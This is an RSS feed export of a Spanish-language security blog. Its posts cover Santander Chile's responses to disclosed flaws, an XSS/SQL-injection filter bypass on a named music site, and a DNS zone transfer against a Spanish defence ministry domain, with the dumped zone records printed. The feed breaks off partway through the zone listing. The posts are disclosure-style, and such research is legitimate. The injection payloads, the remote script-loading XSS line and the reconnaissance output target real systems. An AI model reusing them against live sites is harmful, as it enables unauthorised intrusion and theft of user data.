<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>El rincón de Zerial &#187; vulnerabilidades</title>
	<atom:link href="http://blog.zerial.org/tag/vulnerabilidades/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.zerial.org</link>
	<description>Informática, GNU/Linux, Seguridad, Hacking, Programación, Ocio</description>
	<lastBuildDate>Tue, 03 Jan 2012 00:13:53 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>Vulnerabilidad en las cuentas PAC/PAT y reacciones del Santander</title>
		<link>http://blog.zerial.org/seguridad/vulnerabilidad-en-las-cuentas-pacpat-y-reacciones-del-santander/</link>
		<comments>http://blog.zerial.org/seguridad/vulnerabilidad-en-las-cuentas-pacpat-y-reacciones-del-santander/#comments</comments>
		<pubDate>Fri, 30 Dec 2011 12:23:12 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Interes general]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[Sitios Vulnerables]]></category>
		<category><![CDATA[banco]]></category>
		<category><![CDATA[banco santander]]></category>
		<category><![CDATA[santander]]></category>
		<category><![CDATA[vulnerabilidades]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=2881</guid>
		<description><![CDATA[Despues del ultimo post relacionado con la vulnerabilidad que permitia acceder al código fuente del sistema, hubo distintos tipos de reacciones por parte de los usuarios y de las empresas involucradas. Otras vulnerabilidades comenzaron a ver la luz, como por ejemplo la que afecta al sistema de asignación/modificación de los pagos automaticos de cuentas (pat/pac), [...]]]></description>
			<content:encoded><![CDATA[<p>Despues del ultimo post relacionado con la vulnerabilidad que permitia acceder al código fuente del sistema, hubo distintos tipos de reacciones por parte de los usuarios y de las empresas involucradas.</p>
<p>Otras vulnerabilidades comenzaron a ver la luz, como por ejemplo la que afecta al sistema de asignación/modificación de los pagos automaticos de cuentas (pat/pac), que permite asignar pagos automaticos a terceras personas, sin previa confirmación. De esta forma, Juanito Perez, puede asignar el pago automatico de la cuenta de luz, agua, movil u otro a Pedrito, sin su autorización.</p>
<p>Varias personas se contactaron conmigo y me comentaban que habian enviado un reclamo a su ejecutivo de cuentas, para tener una respuesta formal y seria respecto a estas vulnerabilidades reportadas. Una de ella me llamo la atención, corresponde a <strong><a href="http://twitter.com/Van_ultraviolet">@Van_ultraviolet</a></strong>, que le respondieron:</p>
<ul>
<li>Es una persona que necesita mucha atención, por eso hace esto.</li>
<li>Cualquier persona puede acceder al código fuente.</li>
<li>Revisamos las alertas del <strong>pseudo-hacker</strong> y no son reales.</li>
</ul>
<p>Pueden ver a respuesta completa aca: <a href="http://twitter.theinfo.org/152376559511142400">http://twitter.theinfo.org/152376559511142400</a></p>
<p>Considero que esto es <strong>impresentable</strong> y que la persona que entregó esa respuesta debería pensar seriamente en dejar de ejercer su profesión.</p>
<p>Por otro lado, una de las empresas responsables se contactó conmigo y hemos creado un canal de comunicación para el reporte de vulnerabilidades. Ellos admitieron el fallo del <em>Source Code Disclosure</em> y tambien la vulnerabilidad PAT/PAC, indicando que ya está corregida en su entorno de desarrollo, sólo falta ponerla en producción.</p>
<p>El banco no ha respondido publicamente sobre el asunto, el &#8220;canal web&#8221; y el llamado &#8220;Community Manager&#8221; que maneja la cuenta de Twitter (<a href="http://twitter.com/santanderchile">@SantanderChile</a>), tampoco se pronuncia al respecto, apesar de las insistentes quejas y reclamos de sus clientes.</p>
<p>Como conclusión, hay 3 empresas involucradas:</p>
<ol>
<li>Santander: La entidad afectada, el Banco.</li>
<li>TAISA Chile: Una de las empresas involucrada en el desarrollo del sistema.</li>
<li>NEOSECURE: Segun los comentarios del post anterior y segun la información que me llegaba por correo, twitter, etc, es la empresa que ve la &#8220;seguridad&#8221; del Banco, es decir, es la &#8220;empresa lider en seguridad informatica&#8221; que audita periodicamente los sistemas del santander, <a href="http://www.santander.cl/campanas/aviso_seguridad_b/index.asp?o=emp_melat">según ellos; Aviso de seguridad Santander</a>.</li>
</ol>
<p>De estas tres empresas involucradas, la uinca que se ha hecho responsable y ha dado la cara, es TAISA, quien ha reaccionado bastante bien, agradecida y con ganas de crear un canal de comunicación para este tipo de incidentes. Ademas, han reaccionado bastante rapido despues de que se hizo la publicación.</p>
<p>Ustedes juzguen.</p>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fvulnerabilidad-en-las-cuentas-pacpat-y-reacciones-del-santander%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/seguridad/vulnerabilidad-en-las-cuentas-pacpat-y-reacciones-del-santander/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/seguridad/vulnerabilidad-en-las-cuentas-pacpat-y-reacciones-del-santander/"  data-text="Vulnerabilidad en las cuentas PAC/PAT y reacciones del Santander" data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/vulnerabilidad-en-las-cuentas-pacpat-y-reacciones-del-santander/feed/</wfw:commentRss>
		<slash:comments>16</slash:comments>
		</item>
		<item>
		<title>Seguridad versus Usabilidad: El caso del banco Santander</title>
		<link>http://blog.zerial.org/seguridad/seguridad-versus-usabilidad-el-caso-del-banco-santander/</link>
		<comments>http://blog.zerial.org/seguridad/seguridad-versus-usabilidad-el-caso-del-banco-santander/#comments</comments>
		<pubDate>Tue, 20 Sep 2011 18:04:32 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Interes general]]></category>
		<category><![CDATA[Privacidad]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[chile]]></category>
		<category><![CDATA[privacidad]]></category>
		<category><![CDATA[santander]]></category>
		<category><![CDATA[usabilidad]]></category>
		<category><![CDATA[vulnerabilidades]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=2697</guid>
		<description><![CDATA[Con el fin de mejorar la interacción del usuario con algun sistema, los diseñadores y desarrolladores adoptan distintas técnicas de usabilidad para hacerle el trabajo más fácil al usuario, el problema es cuando se prioriza la usabilidad por sobre la seguridad. Para muchos podría parecer que la gente que desarrolla los sistemas piensan que los [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.zerial.org/wp-content/uploads/2011/09/nino_pc.jpg"><img class="aligncenter size-full wp-image-2698" title="nino_pc" src="http://blog.zerial.org/wp-content/uploads/2011/09/nino_pc.jpg" alt="" width="500" height="375" /></a></p>
<p>Con el fin de mejorar la interacción del usuario con algun sistema, los diseñadores y desarrolladores adoptan distintas técnicas de usabilidad para hacerle el trabajo más fácil al usuario, el problema es cuando se prioriza <strong>la usabilidad por sobre la seguridad</strong>. Para muchos podría parecer que la gente que desarrolla los sistemas piensan que los usuarios son <span style="text-decoration: line-through;">unos tontos</span> unos niños ingenuos, y que por no hacerlos pensar &#8220;donde hacer click&#8221; le dan todo en bandeja pasando por alto las normas de seguridad. Es por esto que escribiré sobre como la usabilidad pasa por encima de la seguridad.</p>
<p>Como ejemplo, tomaré el caso del Banco Santander y analizaré como una función para hacerle el trabajo más fácil al usuario puede atentar contra la seguridad del mismo usuario. Para muchos podría ser algo básico, pero si lo ven como si fueran un usuario &#8220;<em>normal</em>&#8220;, se darán cuenta que realmente es un riesgo y que al usuario le podría pasar perfectamente.</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/09/santander_login.png"><img class="aligncenter size-full wp-image-2700" title="santander_login" src="http://blog.zerial.org/wp-content/uploads/2011/09/santander_login.png" alt="" width="196" height="215" /></a>Esta es la pantalla de inicio de sesión que vemos al ingresar a www.santander.cl.</p>
<p><span id="more-2697"></span></p>
<p>Lo normal sería que al ingresar al portal del banco, el usuario hiciera click en el campo &#8220;rut&#8221; para ingresar su número de identificación, luego ingresara el password y finalmente presione enviar. Pero, <strong>¿cual es la mejora de usabilidad que implementó Santander?</strong></p>
<p>Cuando ingresamos al sitio web, el usuario sin situarse sobre el formulario de inicio de sesión, el cursor ya está en el formulario, el usuario lo único que debe hacer es ingresar su rut.</p>
<p>El problema es que esa función donde se situa el cursor sobre el formulario se ejecuta al terminar de cargar el sitio, si el usuario ingresa su número de identidad y luego comienza a escribir el password, cuando el sitio termine de cargar el puntero será cambiado al campo &#8220;rut&#8221;, que no está protegido por &#8220;*&#8221; y queda registrado en el historial, cuando el usuario sin darse cuenta presione &#8220;Iniciar sesión&#8221;, el sistema le enviará un mensaje de que la password o usuario son incorrectos, lo único que hará el usuario es volver a introducir los valores e iniciar sesión sin problemas, sin darse cuenta que su password pudo haber sido almacenada en el historial.</p>
<p>Es un poco rebuscado el problema, pero existe. Me ha pasado que mi internet va lento o que el servidor del banco responde lentísimo, entonces ingreso al portal y hago todo muy rapido, ingreso mi RUT y cuando presiono enviar me doi cuenta que la password la escribí en el campo desprotegido &#8220;rut&#8221;.</p>
<p><strong>¿Qué es mejor, que el usuario tenga que mover un poco el mouse y hacer un par de clicks más, o dejar abierta la remota posibilidad que su password quede almacenada en un historial sin percatarse?</strong></p>
<p>Yo creo que 1 de cada 100 personas podría caer en este error, yo mismo he leído y escuchado a algunas personas quejarse por esto mismo, al menos se que no soy el único que lo piensa <img src='http://blog.zerial.org/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fseguridad-versus-usabilidad-el-caso-del-banco-santander%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/seguridad/seguridad-versus-usabilidad-el-caso-del-banco-santander/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/seguridad/seguridad-versus-usabilidad-el-caso-del-banco-santander/"  data-text="Seguridad versus Usabilidad: El caso del banco Santander" data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/seguridad-versus-usabilidad-el-caso-del-banco-santander/feed/</wfw:commentRss>
		<slash:comments>15</slash:comments>
		</item>
		<item>
		<title>Vulnerabilidades en Cooperativa.cl: Saltándose los filtros.</title>
		<link>http://blog.zerial.org/seguridad/vulnerabilidades-en-cooperativa-cl-saltandose-los-filtros/</link>
		<comments>http://blog.zerial.org/seguridad/vulnerabilidades-en-cooperativa-cl-saltandose-los-filtros/#comments</comments>
		<pubDate>Wed, 17 Aug 2011 13:58:39 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[Sitios Vulnerables]]></category>
		<category><![CDATA[chile]]></category>
		<category><![CDATA[cooperativa]]></category>
		<category><![CDATA[cross-site scripting]]></category>
		<category><![CDATA[filtros]]></category>
		<category><![CDATA[inseguridad]]></category>
		<category><![CDATA[protecciones]]></category>
		<category><![CDATA[sitios vulnerables]]></category>
		<category><![CDATA[sql injection]]></category>
		<category><![CDATA[sql-i]]></category>
		<category><![CDATA[sqli]]></category>
		<category><![CDATA[vulnerabilidades]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=2579</guid>
		<description><![CDATA[Ya vimos en el caso de Servipag unos filtros de protección anti LFI inútiles, ahora es el turno de uno de los sitios web de Cooperativa.cl, el cual implementa unos filtros de protección anti-XSS y anti-SQLi bastante vergonzosos y obviamente de &#8220;protección&#8221; no tiene nada. El sitio afectado corresponde al subdominio &#8220;musica.cooperativa.cl&#8221; el cual es [...]]]></description>
			<content:encoded><![CDATA[<p>Ya vimos en <a href="http://blog.zerial.org/seguridad/servipag-cl-el-portal-chileno-de-pagos-online-mas-inseguro/">el caso de Servipag</a> unos filtros de protección anti LFI inútiles, ahora es el turno de uno de los sitios web de Cooperativa.cl, el cual implementa unos filtros de protección anti-XSS y anti-SQLi bastante vergonzosos y obviamente de &#8220;protección&#8221; no tiene nada.<br />
El sitio afectado corresponde al subdominio &#8220;<strong>musica.cooperativa.cl</strong>&#8221; el cual es vulnerable a inyección de código sql y cross site scripting.</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/08/cooperativa_musica.png"><img class="aligncenter size-full wp-image-2582" title="cooperativa_musica" src="http://blog.zerial.org/wp-content/uploads/2011/08/cooperativa_musica.png" alt="" width="617" height="88" /></a></p>
<p>La vulnerabilidad se encuentra en el archivo <strong>disco.php</strong> mediante la variable <strong>id</strong>. Es posible generar un error facilmente ingresando una comilla simple (&#8216;):</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/08/cooperativa_1.png"><img class="aligncenter size-full wp-image-2584" title="cooperativa_1" src="http://blog.zerial.org/wp-content/uploads/2011/08/cooperativa_1.png" alt="" width="398" height="90" /></a></p>
<p>Hasta el momento el &#8220;<strong>filtro</strong>&#8221; escapa el la comilla y anteponiendo un <em>backslash</em> (\), intentamos hacer el típico SQL Injection para obtener información sobre la base de datos usando <strong>&#8216;+or 1=+ union+select+database(),user()+&#8211;+</strong> y obtenemos como resultado <strong>&#8220;Error select * from disco where id=3342\&#8217;  1=    (),() &#8211;&#8221;</strong></p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/08/cooperativa_2.png"><img class="aligncenter size-full wp-image-2585" title="cooperativa_2" src="http://blog.zerial.org/wp-content/uploads/2011/08/cooperativa_2.png" alt="" width="633" height="86" /></a></p>
<p>Efectivamente el &#8220;filtro&#8221; está eliminando las palabras que ponemos y dejando sólo los caracteres que no son letras. Ahora, si intentamos inyectar un tag html como por ejemplo <strong>&lt;em&gt;prueba&lt;/em&gt;</strong>, obtenemos <strong>Error select * from disco where id=3342&lt;&gt;&lt;/&gt;</strong></p>
<p>Bien, ahora nos saltaremos los filtros que nos han puesto&#8230;</p>
<p><span id="more-2579"></span></p>
<p><strong>¿Piensas que es muy complicado?</strong></p>
<p>Para saltarse las protecciones XSS y SQL Injection que nos han puesto, lo <strong>único</strong> que tenemos que hacer es escribir con mayúsculas.<br />
Como prueba de concepto usaremos el siguiente link:</p>
<p><a href="http://musica.cooperativa.cl/disco.php?id=3342%3CSTRONG%3EHOLA!%20ESTOY%20ESCRIBIENDO%20CON%20MAYUSCULAS%20PARA%20SALTARME%20TU%20FILTRO!!%3C/STRONG%3E"><strong>http://musica.cooperativa.cl/disco.php?id=3342&lt;STRONG&gt;H</strong><strong>OLA! ESTOY ESCRIBIENDO CON MAYUSCULAS PARA SALTARME TU FILTRO!!&lt;/STRONG&gt;</strong></a></p>
<p>Mira lo que obtenemos:</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/08/cooperativa_3.png"><img class="aligncenter size-large wp-image-2587" title="cooperativa_3" src="http://blog.zerial.org/wp-content/uploads/2011/08/cooperativa_3-1024x89.png" alt="" width="691" height="60" /></a></p>
<p>Para realizar la típica <strong>prueba de concepto</strong>, usando la función <em>alert()</em> de JavaScript tendremos un problema, ya que al escribir &#8220;ALERT&#8221; (con mayúsculas), no encontrará ninguna función con ese nombre &#8230; Pero solucionar este problema es más fácil de lo que pensamos, pongamos el tag <strong>&lt;SCRIPT&gt;</strong> con el atributo <em>SRC</em> y apuntamos a una URL (con mayúsculas todo) el cual contenga el JavaScript que queramos que sea ejecutado, para este caso elaboré un script <strong>&#8220;POC.JS</strong>&#8221; que contiene &#8220;<strong>alert(&#8216;Prueba de concepto XSS&#8217;)</strong>&#8221; (sì, con minúsculas), entonces llamamos al script de la siguiente forma:</p>
<p><strong>&lt;SCRIPT SRC=HTTP://ZERIAL.ORG/POC.JS&gt;&lt;/SCRIPT&gt;</strong></p>
<p>Y obtenemos lo siguiente:</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/08/cooperativa_4.png"><img class="aligncenter size-full wp-image-2589" title="cooperativa_4" src="http://blog.zerial.org/wp-content/uploads/2011/08/cooperativa_4.png" alt="" width="470" height="392" /></a></p>
<p>Con esto, damos por hecho que logramos saltarnos el filtro anti XSS.</p>
<p>Para saltarnos el filtro SQL Injection, es de la misma forma, las sentencias SQL las debemos escribir con mayúsculas y listo, por ejemplo <strong>OR+1=0+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14+&#8211;+</strong>, tenemos como resultado el error sql indicandonos exactamente lo que escribimos:</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/08/cooperativa_5.png"><img class="aligncenter size-full wp-image-2590" title="cooperativa_5" src="http://blog.zerial.org/wp-content/uploads/2011/08/cooperativa_5.png" alt="" width="581" height="99" /></a></p>
<p>Ahora lo único que nos queda es empezar a <strong>jugar</strong> y encontrar la cantidad de columnas para poder extraer información de la base de datos.</p>
<p><strong>Un ataque más sofisticado &#8230;</strong></p>
<p>Este sitio corresponde a un lugar para descargar/comprar música &#8220;legalmente&#8221;, donde los usuarios (me imagino) se registran, introducen sus datos personales y van comprando musica mediante su tarjeta de credito (?), bien &#8230; Imaginemos un ataque un poco más elaborado, tenemos un SQL Injection donde podemos obtener la lista de todos los suscritos al sitio (correo, web, telefono y algún otro dato), luego elaboramos un sitio identico (pero falso) e invitamos a los usuarios a &#8220;<strong>Descargar musica a $1</strong> (<em>un peso</em>)&#8221;, les pedimos que seleccionen las canciones que desean, inicien sesión y realicen la compra, el usuario encantado comprará muchas canciones pero cuando termine de enviar el último formulario misteriosamente aparece un mensaje que dice &#8220;<em>Ha ocurrido un error inesperado. Intente mas tarde</em>&#8220;, pero <em>por debajo</em>, el sitio envió todos sus datos personales a un sitio externo y ahora sus datos personales están en manos del atacante.</p>
<p>La vulnerabilidad fue reportada</p>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fvulnerabilidades-en-cooperativa-cl-saltandose-los-filtros%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/seguridad/vulnerabilidades-en-cooperativa-cl-saltandose-los-filtros/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/seguridad/vulnerabilidades-en-cooperativa-cl-saltandose-los-filtros/"  data-text="Vulnerabilidades en Cooperativa.cl: Saltándose los filtros." data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/vulnerabilidades-en-cooperativa-cl-saltandose-los-filtros/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>AXFR: Una vulnerabilidad que pasa desapercibida &#8230;</title>
		<link>http://blog.zerial.org/seguridad/axfr-una-vulnerabilidad-que-pasa-desapercibida/</link>
		<comments>http://blog.zerial.org/seguridad/axfr-una-vulnerabilidad-que-pasa-desapercibida/#comments</comments>
		<pubDate>Sat, 23 Jul 2011 03:51:48 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[axfr]]></category>
		<category><![CDATA[bind]]></category>
		<category><![CDATA[defensa.gob.es]]></category>
		<category><![CDATA[dns]]></category>
		<category><![CDATA[gobierno]]></category>
		<category><![CDATA[ixfr]]></category>
		<category><![CDATA[nameserver]]></category>
		<category><![CDATA[ns]]></category>
		<category><![CDATA[transferencia de zona]]></category>
		<category><![CDATA[vulnerabilidades]]></category>
		<category><![CDATA[zone transfer]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=2486</guid>
		<description><![CDATA[Las transferencias de zona en los servidores de DNS en simples palabras se usa para replicar lo que hay en un maestro hacia su escalvo. Si esta caracteristica se encuentra mal configurada podria ser usada por un atacante para obtener información sensible sobre el dominio. Un servidor maestro debe filtrar por dirección IP qué esclavos [...]]]></description>
			<content:encoded><![CDATA[<p>Las transferencias de zona en los servidores de DNS en simples palabras se usa para replicar lo que hay en un <em>maestro</em> hacia su <em>escalvo</em>. Si esta caracteristica se encuentra mal configurada podria ser usada por un atacante para obtener información sensible sobre el dominio.<br />
Un servidor <em>maestro</em> debe filtrar por dirección IP qué <em>esclavos</em> pueden realizar transferencias, si esto no se configura correctamente entonces cualquier atacante podría consultar por las zonas de los dominios que administra.</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/07/zonetransfer.jpeg"><img class="aligncenter size-full wp-image-2493" title="zonetransfer" src="http://blog.zerial.org/wp-content/uploads/2011/07/zonetransfer.jpeg" alt="" width="408" height="150" /></a></p>
<p><em>imagen: <a href="http://getglue.com/topics/p/dns_zone_transfer">http://getglue.com/topics/p/dns_zone_transfer</a></em></p>
<p>Las transferencias de zona se realizan mediante AXFR, que según su descripción:</p>
<blockquote><p>Las siglas AXFR hace referencia a la transferencia por zonas de un DNS primario a un DNS secundario o de un DNS primario a un server maestro y de un server maestro a un DNS secundario, si llegara a existir algún problema de configuración o actualización del software de cualquiera de estos servidores se podrían explotar una serie de vulnerabilidades como por ejemplo un DoS y la integridad y confidencialidad de la base de datos del DNS primario se verían comprometidas, se estima que alrededor de un 60% de los servidores DNS en internet son vulnerables.</p></blockquote>
<p><em>(Fuente: <a href="http://es.wikipedia.org/wiki/AXFR">http://es.wikipedia.org/wiki/AXFR</a>)</em></p>
<p>Tambien exsite la <a href="http://docstore.mik.ua/orelly/networking_2ndEd/dns/ch10_04.htm">transferencia de zona incremental (IXFR)</a>.</p>
<p><span id="more-2486"></span></p>
<p>Esta técnica es muy útil cuando realizamos un <em>pentesting</em> ya que nos puede entregar información sobre los subdominios, especialmente si encontramos un dominio relacionado con &#8220;testing&#8221;, &#8220;devel&#8221;, o algo relacionado, ya que podriamos acceder a sistemas que se encuentren en desarrollo, que a diferencia con los que se encuentran en producción, suelen tener menos restricciones y son más faciles de explotar.</p>
<p>Como ejemplo, vamos a tomar el dominio &#8220;<strong>defensa.gob.es</strong>&#8221; y vamos a consultar si alguno de sus dns tiene habilitada la transferencia de zona.</p>
<p>Los DNS asociados a ese dominio son:</p>
<ol>
<li>ns01.mde.es</li>
<li>ns02.mde.es</li>
<li>ns03.mde.es</li>
</ol>
<p>Probando uno por uno solo el ns02 es vulnerable:</p>
<p><code>Trying Zone Transfer from ns01.mde.es: Failed.<br />
Trying Zone Transfer from ns02.mde.es: Success.<br />
Trying Zone Transfer from ns03.mde.es: Failed</code></p>
<p>Entonces obtenemos la zona:</p>
<pre name="code" class="c">; < <>> DiG 9.8.0-P4 < <>> AXFR defensa.gob.es @ns02.mde.es
;; global options: +cmd
defensa.gob.es.		180	IN	SOA	ns01.mde.es. dnsadm.mde.es. 2011061802 180 60 4320000 180
defensa.gob.es.		180	IN	NS	ns01.mde.es.
defensa.gob.es.		180	IN	NS	ns02.mde.es.
defensa.gob.es.		180	IN	NS	ns03.mde.es.
defensa.gob.es.		600	IN	A	193.33.2.129
e-admin.defensa.gob.es.	600	IN	CNAME	e-admin.mde.es.
ns01.defensa.gob.es.	600	IN	A	193.33.2.99
ns02.defensa.gob.es.	600	IN	A	193.33.2.100
ns03.defensa.gob.es.	600	IN	A	193.33.3.99
sede.defensa.gob.es.	600	IN	A	193.33.2.137
procedimientos.sede.defensa.gob.es. 600	IN A	193.33.2.138
www.defensa.gob.es.	600	IN	CNAME	defensa.gob.es.
defensa.gob.es.		180	IN	SOA	ns01.mde.es. dnsadm.mde.es. 2011061802 180 60 4320000 180
;; Query time: 244 msec
;; SERVER: 193.33.2.100#53(193.33.2.100)
;; XFR size: 13 records (messages 1, bytes 351)</pre>
<p>Y solo por probar, intentamos hacer transferencia de zona de &#8220;mde.es&#8221; usando el mismo <em>nameserver</em>:</p>
<pre name="code" class="c">; < <>> DiG 9.8.0-P4 < <>> AXFR mde.es @ns02.mde.es
;; global options: +cmd
mde.es.			3600	IN	SOA	ns01.mde.es. dnsadm.mde.es. 2011071502 180 60 4320000 180
mde.es.			600	IN	TXT	"v=spf1 a:smtp10.mde.es. a:smtp03.mde.es. ~all"
mde.es.			3600	IN	NS	ns01.mde.es.
mde.es.			3600	IN	NS	ns02.mde.es.
mde.es.			3600	IN	NS	ns03.mde.es.
mde.es.			600	IN	MX	10 smtp01.mde.es.
mde.es.			600	IN	MX	10 smtp02.mde.es.
mde.es.			600	IN	A	193.33.2.129
www.aire.mde.es.	600	IN	CNAME	www.ejercitodelaire.mde.es.
www.armada.mde.es.	600	IN	A	193.33.2.129
autodiscover.mde.es.	600	IN	CNAME	pdagw.mde.es.
campusvirtual.mde.es.	600	IN	A	193.33.2.140
cvcdef.mde.es.		600	IN	A	193.33.2.135
e-admin.mde.es.		600	IN	A	193.33.2.133
e-admin1.mde.es.	600	IN	A	193.33.2.134
ea.mde.es.		600	IN	TXT	"v=spf1 a:smtp10.mde.es. a:smtp03.mde.es. ~all"
ea.mde.es.		600	IN	MX	10 smtp01.mde.es.
ea.mde.es.		600	IN	MX	10 smtp02.mde.es.
autodiscover.ea.mde.es.	600	IN	CNAME	autodiscover.mde.es.
www.ea.mde.es.		600	IN	CNAME	www.ejercitodelaire.mde.es.
opencms.ejercito.mde.es. 600	IN	CNAME	web.mde.es.
www.ejercito.mde.es.	600	IN	CNAME	web.mde.es.
www.ejercito-aire.mde.es. 600	IN	CNAME	www.ejercitodelaire.mde.es.
www.ejercito-del-aire.mde.es. 600 IN	CNAME	www.ejercitodelaire.mde.es.
www.ejercitoaire.mde.es. 600	IN	CNAME	www.ejercitodelaire.mde.es.
www.ejercitodelaire.mde.es. 600	IN	CNAME	web.mde.es.
et.mde.es.		600	IN	TXT	"v=spf1 a:smtp10.mde.es. a:smtp03.mde.es. ~all"
et.mde.es.		600	IN	MX	10 smtp01.mde.es.
et.mde.es.		600	IN	MX	10 smtp02.mde.es.
autodiscover.et.mde.es.	600	IN	CNAME	autodiscover.mde.es.
extm.mde.es.		600	IN	MX	10 extm.mde.es.
extm.mde.es.		600	IN	A	193.33.2.132
extranet.mde.es.	600	IN	A	193.33.2.33
fn.mde.es.		600	IN	TXT	"v=spf1 a:smtp10.mde.es. a:smtp03.mde.es. ~all"
fn.mde.es.		600	IN	MX	10 smtp01.mde.es.
fn.mde.es.		600	IN	MX	10 smtp02.mde.es.
autodiscover.fn.mde.es.	600	IN	CNAME	autodiscover.mde.es.
tiknet.g2b.mde.es.	600	IN	A	193.33.2.136
www.invied.mde.es.	600	IN	CNAME	web.mde.es.
localhost.mde.es.	600	IN	A	127.0.0.1
ns01.mde.es.		600	IN	A	193.33.2.99
ns02.mde.es.		600	IN	A	193.33.2.100
ns03.mde.es.		600	IN	A	193.33.3.99
oc.mde.es.		600	IN	TXT	"v=spf1 a:smtp10.mde.es. a:smtp03.mde.es. ~all"
oc.mde.es.		600	IN	MX	10 smtp01.mde.es.
oc.mde.es.		600	IN	MX	10 smtp02.mde.es.
autodiscover.oc.mde.es.	600	IN	CNAME	autodiscover.mde.es.
pdagw.mde.es.		600	IN	A	193.33.2.145
portalcultura.mde.es.	600	IN	CNAME	mde.es.
www.portalcultura.mde.es. 600	IN	CNAME	web.mde.es.
www.rmo.mde.es.		600	IN	CNAME	web.mde.es.
servicios.mde.es.	600	IN	A	193.33.2.44
sscc.sigeloc.mde.es.	600	IN	A	80.26.76.36
smtp.mde.es.		600	IN	CNAME	smtp01.mde.es.
smtp01.mde.es.		600	IN	A	193.33.2.97
smtp02.mde.es.		600	IN	A	193.33.2.98
smtp03.mde.es.		600	IN	A	193.33.3.97
smtp10.mde.es.		600	IN	A	193.33.2.102
